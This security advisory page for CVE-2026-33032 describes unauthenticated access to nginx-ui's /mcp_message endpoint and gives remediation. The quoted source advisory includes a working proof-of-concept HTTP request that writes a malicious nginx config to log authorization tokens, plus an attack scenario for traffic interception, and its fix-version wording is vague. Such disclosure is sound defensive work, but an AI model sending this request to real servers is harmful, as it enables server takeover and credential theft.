CVE-2026-33032: Github.com/0xJacky/Nginx UI Nginx-ui's Unauthenticated MCP Endpoint Allows Vulnerability

CRITICAL
Advisory Identifier: GHSA-h6c2-x2m2-mwhf
CVSS 9.8
CWE-306
Published
Advisory Summary

CVE-2026-33032 is a CRITICAL (CVSS 9.8) nginx-ui's unauthenticated mcp endpoint allows vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Github.com/0xJacky/Nginx UI libraries in the Go ecosystem. The issue involves nginx-ui's unauthenticated mcp endpoint allows remote nginx takeover. Remediation is available in the latest vendor maintenance releases.

CVE-2026-33032 at a Glance

CVE Identifier CVE-2026-33032
GHSA Identifier GHSA-h6c2-x2m2-mwhf
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-306: Missing Authentication for Critical Function
Affected Product Github.com/0xJacky/Nginx UI
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-33032

To remediate this vulnerability, upgrade all affected Github.com/0xJacky/Nginx UI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/0xJacky/Nginx-UI fixed: Latest secure release
Upgrade github.com/0xJacky/Nginx-UI to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/0xJacky/Nginx-UI

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33032, inspect your project dependencies for Github.com/0xJacky/Nginx UI:

inspect dependencies for github.com/0xJacky/Nginx-UI

Analyze the terminal output to locate any version of Github.com/0xJacky/Nginx UI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In Github.com/0xJacky/Nginx UI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: `/mcp` and `/mcp_message`. While `/mcp` requires both IP whitelisting and authentication (`AuthRequired()` middleware), the `/mcp_message` endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover. ### Details #### Vulnerable Code **`mcp/router.go:9-17` - Auth asymmetry between endpoints** ```go func InitRouter(r *gin.Engine) { r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) }) r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) }) } ``` The `/mcp` endpoint has `middleware.AuthRequired()`, but `/mcp_message` does not. Both endpoints route to the same `mcp.ServeHTTP()` handler, which processes all MCP tool invocations. **`internal/middleware/ip_whitelist.go:11-26` - Empty whitelist allows all** ```go func IPWhiteList() gin.HandlerFunc { return func(c *gin.Context) { clientIP := c.ClientIP() if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return } // ... } } ``` When `IPWhiteList` is empty (the default - `settings/auth.go` initializes `Auth{}` with no whitelist), the middleware allows all requests through. This is a fail-open design. #### Available MCP Tools (all invocable without auth) From `mcp/nginx/`: - `restart_nginx` - restart the nginx process - `reload_nginx` - reload nginx configuration - `nginx_status` - read nginx status From `mcp/config/`: - `nginx_config_add` - create new nginx config files - `nginx_config_modify` - modify existing config files - `nginx_config_list` - list all configurations - `nginx_config_get` - read config file contents - `nginx_config_enable` - enable/disable sites - `nginx_config_rename` - rename config files - `nginx_config_mkdir` - create directories - `nginx_config_history` - view config history - `nginx_config_base_path` - get nginx config directory path #### Attack Scenario 1. Attacker sends HTTP requests to `http://target:9000/mcp_message` (default port) 2. No authentication is required - IP whitelist is empty by default 3. Attacker invokes `nginx_config_modify` with `relative_path="nginx.conf"` to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs `Authorization` headers) 4. `nginx_config_add` auto-reloads nginx (`config_add.go:74`), or attacker calls `reload_nginx` directly 5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied ### PoC **1. The auth asymmetry** is visible by comparing the two route registrations in `mcp/router.go`: ```go // Line 10 - /mcp requires auth: r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) }) // Line 14 - /mcp_message does NOT: r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) }) ``` Both call the same `mcp.ServeHTTP(c)` handler, which dispatches all tool invocations. **2. The IP whitelist defaults to empty**, allowing all IPs. From `settings/auth.go`: ```go var AuthSettings = &Auth{ BanThresholdMinutes: 10, MaxAttempts: 10, // IPWhiteList is not initialized - defaults to nil/empty slice } ``` And the middleware at `internal/middleware/ip_whitelist.go:14` passes all requests when the list is empty: ```go if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return } ``` **3. Config writes auto-reload nginx.** From `mcp/config/config_add.go`: ```go err := os.WriteFile(path, []byte(content), 0644) // Line 69: write config file // ... res := nginx.Control(nginx.Reload) // Line 74: immediate reload ``` **4. Exploit request.** An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers: ```http POST /mcp_message HTTP/1.1 Content-Type: application/json { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "nginx_config_add", "arguments": { "name": "evil.conf", "content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }", "base_dir": "conf.d", "overwrite": true, "sync_node_ids": [] } }, "id": 1 } ``` No `Authorization` header is needed. The config is written and nginx reloads immediately. ### Impact - **Complete nginx service takeover**: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart - **Traffic interception**: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit - **Service disruption**: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services - **Configuration exfiltration**: All existing nginx configs are readable via `nginx_config_get`, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers - **Credential harvesting**: By injecting `access_log` directives with custom `log_format` patterns, the attacker can capture `Authorization` headers from administrators accessing nginx-ui, enabling escalation to the REST API ### Remediation Add `middleware.AuthRequired()` to the `/mcp_message` route: ```go r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) }) ``` Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.

CVE-2026-33032 Affected Github.com/0xJacky/Nginx UI Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/0xJacky/Nginx-UI
Go
≤ 1.99

References

Frequently Asked Questions

What is CVE-2026-33032?
CVE-2026-33032 is a security vulnerability in Github.com/0xJacky/Nginx UI involving nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover under CWE-306: Missing Authentication for Critical Function.
Which Github.com/0xJacky/Nginx UI versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/0xJacky/Nginx-UI.
What version fixes CVE-2026-33032?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/0xJacky/Nginx-UI affected?
Yes, github.com/0xJacky/Nginx-UI is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-33032?
CVE-2026-33032 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-33032?
CVE-2026-33032 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check Go dependencies for CVE-2026-33032?
Run the dependency tree command: 'inspect dependencies for github.com/0xJacky/Nginx-UI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h6c2-x2m2-mwhf",
  "modified" : "2026-04-27T14:19:19Z",
  "published" : "2026-03-30T16:43:13Z",
  "aliases" : [ "CVE-2026-33032" ],
  "summary" : "nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover",
  "details" : "### Summary\nThe nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: `/mcp` and `/mcp_message`. While `/mcp` requires both IP whitelisting and authentication (`AuthRequired()` middleware), the `/mcp_message` endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as \"allow all\". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.\n\n### Details\n#### Vulnerable Code\n\n**`mcp/router.go:9-17` - Auth asymmetry between endpoints**\n\n```go\nfunc InitRouter(r *gin.Engine) {\n\tr.Any(\"/mcp\", middleware.IPWhiteList(), middleware.AuthRequired(),\n\t\tfunc(c *gin.Context) {\n\t\t\tmcp.ServeHTTP(c)\n\t\t})\n\tr.Any(\"/mcp_message\", middleware.IPWhiteList(),\n\t\tfunc(c *gin.Context) {\n\t\t\tmcp.ServeHTTP(c)\n\t\t})\n}\n```\n\nThe `/mcp` endpoint has `middleware.AuthRequired()`, but `/mcp_message` does not. Both endpoints route to the same `mcp.ServeHTTP()` handler, which processes all MCP tool invocations.\n\n**`internal/middleware/ip_whitelist.go:11-26` - Empty whitelist allows all**\n\n```go\nfunc IPWhiteList() gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tclientIP := c.ClientIP()\n\t\tif len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == \"\" || clientIP == \"127.0.0.1\" || clientIP == \"::1\" {\n\t\t\tc.Next()\n\t\t\treturn\n\t\t}\n\t\t// ...\n\t}\n}\n```\n\nWhen `IPWhiteList` is empty (the default - `settings/auth.go` initializes `Auth{}` with no whitelist), the middleware allows all requests through. This is a fail-open design.\n\n#### Available MCP Tools (all invocable without auth)\n\nFrom `mcp/nginx/`:\n- `restart_nginx` - restart the nginx process\n- `reload_nginx` - reload nginx configuration\n- `nginx_status` - read nginx status\n\nFrom `mcp/config/`:\n- `nginx_config_add` - create new nginx config files\n- `nginx_config_modify` - modify existing config files\n- `nginx_config_list` - list all configurations\n- `nginx_config_get` - read config file contents\n- `nginx_config_enable` - enable/disable sites\n- `nginx_config_rename` - rename config files\n- `nginx_config_mkdir` - create directories\n- `nginx_config_history` - view config history\n- `nginx_config_base_path` - get nginx config directory path\n\n#### Attack Scenario\n\n1. Attacker sends HTTP requests to `http://target:9000/mcp_message` (default port)\n2. No authentication is required - IP whitelist is empty by default\n3. Attacker invokes `nginx_config_modify` with `relative_path=\"nginx.conf\"` to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs `Authorization` headers)\n4. `nginx_config_add` auto-reloads nginx (`config_add.go:74`), or attacker calls `reload_nginx` directly\n5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied\n\n\n### PoC\n**1. The auth asymmetry** is visible by comparing the two route registrations in `mcp/router.go`:\n\n```go\n// Line 10 - /mcp requires auth:\nr.Any(\"/mcp\", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })\n\n// Line 14 - /mcp_message does NOT:\nr.Any(\"/mcp_message\", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })\n```\n\nBoth call the same `mcp.ServeHTTP(c)` handler, which dispatches all tool invocations.\n\n**2. The IP whitelist defaults to empty**, allowing all IPs. From `settings/auth.go`:\n\n```go\nvar AuthSettings = &Auth{\n    BanThresholdMinutes: 10,\n    MaxAttempts:         10,\n    // IPWhiteList is not initialized - defaults to nil/empty slice\n}\n```\n\nAnd the middleware at `internal/middleware/ip_whitelist.go:14` passes all requests when the list is empty:\n\n```go\nif len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == \"\" || clientIP == \"127.0.0.1\" || clientIP == \"::1\" {\n    c.Next()\n    return\n}\n```\n\n**3. Config writes auto-reload nginx.** From `mcp/config/config_add.go`:\n\n```go\nerr := os.WriteFile(path, []byte(content), 0644)  // Line 69: write config file\n// ...\nres := nginx.Control(nginx.Reload)                 // Line 74: immediate reload\n```\n\n**4. Exploit request.** An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:\n\n```http\nPOST /mcp_message HTTP/1.1\nContent-Type: application/json\n\n{\n  \"jsonrpc\": \"2.0\",\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"nginx_config_add\",\n    \"arguments\": {\n      \"name\": \"evil.conf\",\n      \"content\": \"server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }\",\n      \"base_dir\": \"conf.d\",\n      \"overwrite\": true,\n      \"sync_node_ids\": []\n    }\n  },\n  \"id\": 1\n}\n```\n\nNo `Authorization` header is needed. The config is written and nginx reloads immediately.\n\n### Impact\n- **Complete nginx service takeover**: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart\n- **Traffic interception**: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit\n- **Service disruption**: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services\n- **Configuration exfiltration**: All existing nginx configs are readable via `nginx_config_get`, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers\n- **Credential harvesting**: By injecting `access_log` directives with custom `log_format` patterns, the attacker can capture `Authorization` headers from administrators accessing nginx-ui, enabling escalation to the REST API\n\n### Remediation\n\nAdd `middleware.AuthRequired()` to the `/mcp_message` route:\n\n```go\nr.Any(\"/mcp_message\", middleware.IPWhiteList(), middleware.AuthRequired(),\n    func(c *gin.Context) {\n        mcp.ServeHTTP(c)\n    })\n```\n\nAdditionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/0xJacky/Nginx-UI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.99"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33032"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/0xJacky/nginx-ui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/blob/f89f8ff8223478988f7ed49bf1d3dbf2de44bf92/internal/middleware/ip_whitelist.go#L11-L26"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/blob/f89f8ff8223478988f7ed49bf1d3dbf2de44bf92/mcp/router.go#L9-L17"
  }, {
    "type" : "WEB",
    "url" : "https://websec.net/blog/cve-2026-33032-unauthenticated-nginx-ui-mcp-takeover-69e1200f9fceb1f3fbe9c47f"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-30T16:43:13Z",
    "nvd_published_at" : "2026-03-30T18:16:19Z"
  }
}